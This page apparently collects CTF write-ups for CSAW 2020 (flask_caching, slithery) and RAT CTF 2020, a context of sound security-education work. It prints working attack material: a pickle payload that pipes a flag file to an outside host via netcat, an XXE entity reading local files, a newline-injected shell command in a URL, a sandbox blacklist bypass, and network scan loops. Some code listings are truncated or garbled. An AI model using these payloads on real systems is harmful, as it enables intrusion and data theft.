Cookie Consent by

Latest entries | Category CTF | Page 10


CSAW CTF Qualification Round 2020: flask_caching


300 points

cache all the things (this is python3)

#!/usr/bin/env python3

from flask import Flask
from flask import request, redirect
from flask_caching import Cache
from redis import Redis
import jinja2
import os

app = Flask(__name__)
app.config['CACHE_REDIS_HOST'] = 'localhost'
app.config['DEBUG'] = False

cache = Cache(app, config={'CACHE_TYPE': 'redis'})
redis = Redis('localhost')
jinja_env = jinja2.Environment(autoescape=['html', 'xml'])

@app.route('/', methods=['GET', 'POST'])
def notes_post():
    if request.method == 'GET':
        return '''
        <h4>Post a note</h4>
        <form method=POST enctype=multipart/form-data>
        <input name=title placeholder=title>
        <input type=file name=content placeholder=content>
        <input type=submit>

    print(request.form, flush=True)
    print(request.files, flush=True)
    title = request.form.get('title', default=None)
    content = request.files.get('content', default=None)

    if title is None or content is None:
        return 'Missing fields', 400

    content =

    if len(title) > 100 or len(content) > 256:
        return 'Too long', 400

    redis.setex(name=title, value=content, time=3)  # Note will only live for max 30 seconds

    return 'Thanks!'

# This caching stuff is cool! Lets make a bunch of cached functions.

def _test0():
    return 'test'
def test0():
    return 'test'
def _test1():
    return 'test'
def test1():
    return 'test'
def _test2():
    return 'test'
def test2():
    return 'test'
def _test3():
    return 'test'
def test3():
    return 'test'
def _test4():
    return 'test'
def test4():
    return 'test'
def _test5():
    return 'test'
def test5():
    return 'test'
def _test6():
    return 'test'
def test6():
    return 'test'
def _test7():
    return 'test'
def test7():
    return 'test'
def _test8():
    return 'test'
def test8():
    return 'test'
def _test9():
    return 'test'
def test9():
    return 'test'
def _test10():
    return 'test'
def test10():
    return 'test'
def _test11():
    return 'test'
def test11():
    return 'test'
def _test12():
    return 'test'
def test12():
    return 'test'
def _test13():
    return 'test'
def test13():
    return 'test'
def _test14():
    return 'test'
def test14():
    return 'test'
def _test15():
    return 'test'
def test15():
    return 'test'
def _test16():
    return 'test'
def test16():
    return 'test'
def _test17():
    return 'test'
def test17():
    return 'test'
def _test18():
    return 'test'
def test18():
    return 'test'
def _test19():
    return 'test'
def test19():
    return 'test'
def _test20():
    return 'test'
def test20():
    return 'test'
def _test21():
    return 'test'
def test21():
    return 'test'
def _test22():
    return 'test'
def test22():
    return 'test'
def _test23():
    return 'test'
def test23():
    return 'test'
def _test24():
    return 'test'
def test24():
    return 'test'
def _test25():
    return 'test'
def test25():
    return 'test'
def _test26():
    return 'test'
def test26():
    return 'test'
def _test27():
    return 'test'
def test27():
    return 'test'
def _test28():
    return 'test'
def test28():
    return 'test'
def _test29():
    return 'test'
def test29():
    return 'test'
def _test30():
    return 'test'
def test30():
    return 'test'

if __name__ == "__main__":'', 5000)


Idea behind the solution is to overwrite one of the cached test functions with my own function, which will execute malicious code.

I've created python program to prepare payload file:

import pickle

class Malicious:
    def __reduce__(self):
        return (os.system, ('cat /flag.txt | nc MYIPADDRESS 4444',))

malicious_function = Malicious()
payload = pickle.dumps(malicious_function)
f = open('payload', 'wb')
f.write(b'!' + payload)

Above code after execution left me a nice payload file that can be uploaded to the application

I didn't want to read all the flask_caching code, so I've started redis in docker (sudo docker run -p 6379:6379 -d --name redis redis) and the app to get the pattern of cachekey ;-) (it was achieved with redis-cli monitor)

Ok, at this point we got payload, we know the pattern of cachekey, one more thing is needed - nc -lvp 4444 running on my computer.

Let's try to submit the payload...

...and execute it by requesting

Surprisely, flag popped up on my netcat ;-)

CSAW CTF Qualification Round 2020: slithery


100 points

Setting up a new coding environment for my data science students. Some of them are l33t h4ck3rs that got RCE and crashed my machine a few times :(. Can you help test this before I use it for my class? Two sandboxes should be better than one...

nc 5011

#!/usr/bin/env python3
from base64 import b64decode
import blacklist  # you don't get to see this :p

Don't worry, if you break out of this one, we have another one underneath so that you won't
wreak any havoc!

def main():
    print("EduPy 3.8.2")
    while True:
            command = input(">>> ")
            if any([x in command for x in blacklist.BLACKLIST]):
                raise Exception("not allowed!!")

            final_cmd = """
uOaoBPLLRN = open("", "r")
uDwjTIgNRU = int(((54 * 8) / 16) * (1/3) - 8)
ORppRjAVZL = uOaoBPLLRN.readlines()[uDwjTIgNRU].strip().split(" ")
bAfGdqzzpg = ORppRjAVZL[-uDwjTIgNRU]
HrjYMvtxwA = getattr(__import__(AAnBLJqtRv), bAfGdqzzpg)
RMbPOQHCzt = __builtins__.__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'bnVtcHk=').decode('utf-8'))\n""" + command

        except (KeyboardInterrupt, EOFError):
            return 0
        except Exception as e:
            print(f"Exception: {e}")

if __name__ == "__main__":


Connect to the app and pass below commands:

blacklist.BLACKLIST = []
f = open('flag.txt', 'r')

RAT CTF 2020


I had pleasure to participate in RAT CTF 2020 on 5/6 September 2020. The competition organized by The XSS rat on Tryhackme platform. The goal was to find vulnerabilities and hidden flags on single "Ratpack" webapp. Sounds challenging ;-)

App deployment left me with IP address and nothing else. As it is an webapp I've started with visiting http://<IP> and yellow backgrounded site hit me in the eyes. Site was pretty simple, it contains registration, login and main functionality which was uploading and browsing the files. Worth mentioning - file extensions were limited to .txt, .doc, .docx but without real validation performing. HTTP headers informed me, that we are dealing with Express.js application.

First flag

The organizers shared hint - we should start attack by using XXE vulnerability. Helpful were shared video and tons of googled examples. I've created the example docx document with LibreOffice Writer and then opened it with file-roller.

Then, I edited /word/document.xml by adding: <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///usr/src/app/index.js" > ]> and &xxe; in the document body. Hint about the path was available on the upload page. After uploading prepared document and viewing it via site I received below source code.

The part that caught my attention was const dotenv = require('dotenv'); which was the hint for reaching .env file. After fast change in my payload file I reached first flag.

Second flag

Before I get the first flag I've spend few hours trying to hack the JSON Web Token stored in the cookie. With the first flag I get TOKEN_SECRET which were missing part needed for logged user privilege escalation. To forge new JWT I've used as below.

After gaining the admin rights I found, that on file preview page delete button appears. In the meanwhile organizers shared the hint - some elements of website are vulnerable for blind code execution. It was perfect candidate for that ;-)

I've prepared shell script, uploaded it and executed with the url http://<IP>/delete?file=key.txt%0A(cd+usr%0Acd+src%0Acd+app%0Acd+upload%0Ash+inject.txt). It's pretty funny, because I didn't create reverse shell. Instead of, I've made few dozens of payloads with shell commands, from which output was saved in uploads directory as txt files ready to preview. Finally, I've found the flag2.txt file on root filesystem and retrieved it with cp /flag2.txt ./ payload.

Third flag (not conquered)

Unfortunately, I didn't conquer it :-( I was almost sure, that third flag is stored in database (yeah, it would be too easy). Prepared below nodejs code and executed it.

const mongoose = require('mongoose');
mongoose.connect('mongodb://root:jDd4sgFcd##[email protected]/', {useNewUrlParser: true});
var db = mongoose.connection;
db.on('error', console.error.bind(console, 'MongoDB connection error:'));
db.on('open', function () {
    db.db.listCollections().toArray(function (err, names) {
      if (err) {
      } else {

const User = require('./model/User');

User.find({}, function(err, dupa) {
        if (err) throw err;
        for (var i = 0;i < dupa.length; i++){

Sadly, the output (below) was disappointing.

    name: 'users',
    type: 'collection',
    options: {},
    info: { readOnly: false, uuid: [Binary] },
    idIndex: { v: 2, key: [Object], name: '_id_', ns: 'test.users' }
[email protected]
[email protected]
[email protected]
[email protected]

Next thing, that came up to my mind was to scan the network. Firstly I've checked if there any other machines available in the network:

for i in `seq 255`; do
ping -c 1 172.20.0.${i} >> ping_chain.txt 2>&1

The first three addresses responded. So, I've portscanned them with netcat. It is worth mentioning, that busybox netcat implementation gave me a headache - it doesn't support port ranges.

for i in `seq 9000`; do
nc -zv ${i} >> nc2.txt 2>&1
nc -zv ${i} >> nc2.txt 2>&1
nc -zv ${i} >> nc2.txt 2>&1

This is how I found another nodejs webapp running on I've started to play with it by preparing payloads and sending them with netcat when time was up and competition has been closed.


I didn't get all the flags, but learned a lot and had lot of fun. Thank you thexssrat! Cheers!